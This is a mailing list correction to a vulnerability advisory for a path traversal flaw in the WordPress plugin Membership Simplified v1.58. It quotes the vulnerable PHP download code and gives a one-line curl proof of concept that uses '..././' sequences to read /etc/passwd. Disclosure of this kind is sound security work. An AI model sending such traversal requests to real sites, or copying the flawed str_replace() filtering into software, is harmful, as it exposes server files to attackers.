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Date: Wed, 15 Mar 2017 08:09:01 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: oss-security@...ts.openwall.com
Subject: Re: Arbitrary file download vulnerability in Wordpress
Plugin Membership Simplified v1.58
Sorry Folks,
The vulnerability description should have read 'does *not* check':
> Vulnerability:
> The file download code located membership-simplified-for-oap-members-only/download.php does not check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:
> On Mar 14, 2017, at 4:33 PM, Larry W. Cashdollar <larry0@...com> wrote:
>
> Title: Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
> Author: Larry W. Cashdollar, @_larry0
> Date: 2017-03-13
> CVE-ID:[CVE-2017-1002008]
> Download Site: https://wordpress.org/plugins/membership-simplified-for-oap-members-only
> Vendor: https://profiles.wordpress.org/williamdeangelis/
> Vendor Notified: 2017-03-13
> Vendor Contact: plugins@...dpress.org
> Advisory: http://www.vapidlabs.com/advisory.php?v=187
> Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
> Vulnerability:
> The file download code located membership-simplified-for-oap-members-only/download.php does check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:
>
> 3 $path = substr(getcwd(), 0, -50). "uploads/membership-simplified-for-oap-members-only/"; // change the path to fit your websites document structure
> 4 $fullPath = $path.$_GET['download_file'];
> 5 $fullPath = str_replace("../","",$fullPath);
> 6
> 7 if ($fd = fopen($fullPath, "r")) {
> 8 $fsize = filesize($fullPath);
> 9 $path_parts = pathinfo($fullPath);
> 10 $ext = strtolower($path_parts["extension"]);
> 11 switch ($ext) {
> 12 case "pdf":
> 13 header("Content-type: application/pdf"); // add here more headers for d iff. extensions
> 14 header("Content-Disposition: attachment; filename=\"".$path_parts["base name"]."\""); // use 'attachment' to force a download
> 15 break;
> 16 default;
> 17 header("Content-type: application/octet-stream");
> 18 header("Content-Disposition: filename=\"".$path_parts["basename"]."\"") ;
> 19 }
> 20 header("Content-length: $fsize");
> 21 header("Cache-control: private"); //use this to open files directly
> 22 while(!feof($fd)) {
> 23 $buffer = fread($fd, 2048);
> 24 echo $buffer;
>
> Exploit Code:
> • $ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd
> •
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